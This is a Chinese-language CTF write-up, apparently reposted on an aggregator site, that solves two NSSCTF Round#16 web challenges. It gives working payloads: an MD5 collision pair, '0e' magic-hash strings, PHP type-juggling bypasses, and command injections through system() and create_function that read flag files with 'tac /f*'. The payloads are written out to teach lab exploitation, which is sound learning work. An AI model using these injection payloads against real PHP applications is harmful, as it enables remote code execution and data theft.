【Web】NSSCTF Round#16 Basic个人wp(全)

这篇具有很好参考价值的文章主要介绍了【Web】NSSCTF Round#16 Basic个人wp(全)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

出题友好,适合手生复健。

目录

①RCE但是没有完全RCE

②了解过PHP特性吗


①RCE但是没有完全RCE

【Web】NSSCTF Round#16 Basic个人wp(全),CTF比赛个人wp,ctf,web,nssctf,nssctf round,网络安全,wp,nss round 16

上来就是一段md5八股

(string)就是不让用数组了,然后强比较需要md5碰撞

?md5_1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&md5_2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

 之后是要md5前后都是0e

post:md5_3=0e215962017

 【Web】NSSCTF Round#16 Basic个人wp(全),CTF比赛个人wp,ctf,web,nssctf,nssctf round,网络安全,wp,nss round 16

成功过掉,访问3z_RC3.php

【Web】NSSCTF Round#16 Basic个人wp(全),CTF比赛个人wp,ctf,web,nssctf,nssctf round,网络安全,wp,nss round 16

 这里可能有师傅会想用hex2bin,但编码后会有f和a两个字母不能用,限制太大,反而弄巧成拙。

所以采用下面这种解法:

/3z_RC3.php?cmd=system($_POST[1]);

post:shell=urldecode&1=tac /f*

这里妙就妙在让$shell形同虚设,让$cmd自成一个包含函数和参数的完整命令执行。

再要绕waf很自然就想到用$_POST[1]来转接。

②了解过PHP特性吗

乐,开屏一堆PHP特性

【Web】NSSCTF Round#16 Basic个人wp(全),CTF比赛个人wp,ctf,web,nssctf,nssctf round,网络安全,wp,nss round 16

 这里可能比较难测,所以建议自己本地搭一下,稍微修改下代码,让绕过的进度可视化。

<?php
error_reporting(0);
highlight_file(__FILE__);

$num = $_GET['num'];
if (preg_match("/[0-9]/", $num)) {
    die("no!!");
}
if (intval($num)) {
    echo 1;
}
if (isset($_POST['ctype']) && isset($_POST['is_num'])) {
    $ctype = strrev($_POST['ctype']);
    $is_num = strrev($_POST['is_num']);
    if (ctype_alpha($ctype) && is_numeric($is_num) && md5($ctype) == md5($is_num)) {
        echo 2;
    }
}
$_114 = $_GET['114'];
$_514 = $_POST['514'];
if (isset($_114) && intval($_114) > 114514 && strlen($_114) <= 3) {
    if (!is_numeric($_514) && $_514 > 9999999) {
        echo 3;
    }
}
$arr4y = $_POST['arr4y'];
if (is_array($arr4y)) {
    for ($i = 0; $i < count($arr4y); $i++) {
        if ($arr4y[$i] === "NSS") {
            die("no!");
        }
        $arr4y[$i] = intval($arr4y[$i]);
    }
    if (array_search("NSS", $arr4y) === 0) {
        echo 4;
    }
}

第一个是数组绕过preg_match,不解释。

第二个是0e绕过弱比较,找两个md5后为0e的原字符串,因为要求$ctype是字母,$is_num是数字(当然包括科学计数法)

自然可以找到这两个,记得要rev一下。

QNKCDZO->OZDCKNQ

0e215962017->710269512e0

第三个是科学计数法+含数字字母字符串弱比较

第四个传入一个数组,NSS前加个空格可绕过"===",且让array_search可以匹配到NSS(可本地试一下)

<?php

$arr=array(1 =>' NSS'); //注意NSS前有空格
$key=array_search('NSS',$arr);
if ($key=1){
    echo 'success';
}
else echo 'no!';

【Web】NSSCTF Round#16 Basic个人wp(全),CTF比赛个人wp,ctf,web,nssctf,nssctf round,网络安全,wp,nss round 16 

payload:文章来源地址https://www.toymoban.com/news/detail-812009.html

?num[]=1&114=9e9

post:514=99999999a&ctype=OZDCKNQ&is_num=710269512e0&arr4y[]= NSS

 【Web】NSSCTF Round#16 Basic个人wp(全),CTF比赛个人wp,ctf,web,nssctf,nssctf round,网络安全,wp,nss round 16

访问Rc3_function.php

【Web】NSSCTF Round#16 Basic个人wp(全),CTF比赛个人wp,ctf,web,nssctf,nssctf round,网络安全,wp,nss round 16

一眼create_function注入,贴出文章不多解释

create_function注入

payload:

shell=&nss=1;}system('tac /f*');/*

到了这里,关于【Web】NSSCTF Round#16 Basic个人wp(全)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • CTF比赛中Web的php伪协议类型题小结

    在CTF中经常使用的是php://filter和php://input php5.2.0起,数据流封装器开始有效,主要用于数据流的读取。如果传入的数据是PHP代码,就会执行代码 data伪协议只有在php5.3且include=on时可以写木马。 file://用于访问本地文件系统 用法: file://[文件的绝对路径和文件名] 封装伪协议命令

    2024年02月15日
    浏览(40)
  • *CTF 2023 web jwt2struts 题解wp

    根据题目名字猜测,这题考察jwt和Struts2 包里面果然有一个cookie 验证了,是jwt eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJ1c2VyIiwiZXhwIjoyMDA2MjI1MjgxfQ.F7vOtdqg48M1DYK4tVZywTipIYDqKfsBSju7ekLSecU 我们的目标应该是把 user 改成 admin 首先,直接修改试试,结果是不行的。 再尝试一下爆破: 也是不行

    2024年02月14日
    浏览(39)
  • 第二届N1CTF Web Derby wp jndi注入通过Druid绕过高版本jdk打Derby Rce

    感谢N1CTF提供的题目 声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护 这道题对于我来说涉猎的广度大难度大,对于佬来说就洒洒水,所以这个wp可能会绕圈子或者复杂化,也可以去看前几名的题解,都非常不错!

    2024年02月20日
    浏览(52)
  • NSSCTF Round#13 web专项

    简单的注册个账号,在 /changePassword 下查看页面源代码发现密钥 !-- secretkey: th3f1askisfunny -- ,很好,老套路了,flask-session-cookie-manager伪造,把 _user_id 改成1,访问 /getFlag ,拿到flag 查看页面源代码,发现路由 /factors/114514 ,访问发现114514被分解,猜测后台逻辑是利用linux命令facto

    2024年02月07日
    浏览(39)
  • 【web-ctf】ctf_BUUCTF_web(2)

    1. [RCTF2015]EasySQL 考点: 二次注入 报错注入 正则表达式查找 reverse函数 学到的知识点: 二次注入原理 二次注入的标志: (1)可以自行注册用户 (这是为了注册一些特殊的用户名到数据库中(比如会导致之后报错、修改其他用户的密码等)) (2)可以使用修改密码等 (二

    2024年02月06日
    浏览(45)
  • SICTF Round#3 wp web

    hacker sql无列名注入; 提示查询username参数,flag在flag表中; 传参测试发现,union select 可用,空格被过滤可以使用/**/代替 ,or也被过滤了且无法大小写、双写等绕过,导致无法查询flag表里的字段名,需注意flag在flag表中并不是flag字段,直接联合查询flag表的flag字段查询不到

    2024年03月13日
    浏览(38)
  • 一、CTF-Web-信息泄露(记录CTF学习)

    目录 1.源码泄露  1-1.页面源代码泄露  1-2.敏感文件泄露        1-2-1.备份(.swp/.bak/.beifen/~/phps等)        1-2-2.数据库(mdb)        1-2-3.压缩包(zip/tar.gz/rar/7z等)        1-2-4.路径(.git/.svn/.hg/.DS_Store/WEBINF/web.xml/cvs/Bazaar/bzr)      2.robots.txt泄露      3.404页面泄露

    2024年02月06日
    浏览(53)
  • CTF—WEB基础篇

    标题 复制 段落 复制 链接 复制 图像 复制 JavaScript 是互联网上最流行的脚本语言,这门语言可用于 HTML 和 web,更可广泛用于服务器、PC、笔记本电脑、平板电脑和智能手机等设备。 JavaScript 是脚本语言 JavaScript 是一种轻量级的编程语言。 JavaScript 是可插入 HTML 页面的编程代码

    2024年02月07日
    浏览(39)
  • CTF解题-web类

    1.题目描述: 解决方法: 工具的使用: 2.题目描述 解决方法:点击查询 1.题目描述: 解题思路: 2、题目描述【白名单检测】 解题思路: 3.问题描述: 在进行文件上传时,各种绕过方式都实验了一遍,都显示无法绕过; 当上传1.asp;.jpg时,返回错误页面,查看可知存在名

    2024年02月06日
    浏览(37)
  • CTF - Web 干货

    目录 1、php反序列化之pop链构造 2、常见php伪协议的使用 (1)php://filter (2)php://input 3、文件上传常规操作 (1) 前端绕过 (2) 修改文件类型 (3) 配合.user.ini 或.htaccess解析 (4) 爆破可解析后缀 (5) 针对Windows系统特性的绕过 (6) 文件包含结合图片马 (7) 条件竞争 常见魔术方法的触发

    2024年01月18日
    浏览(32)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包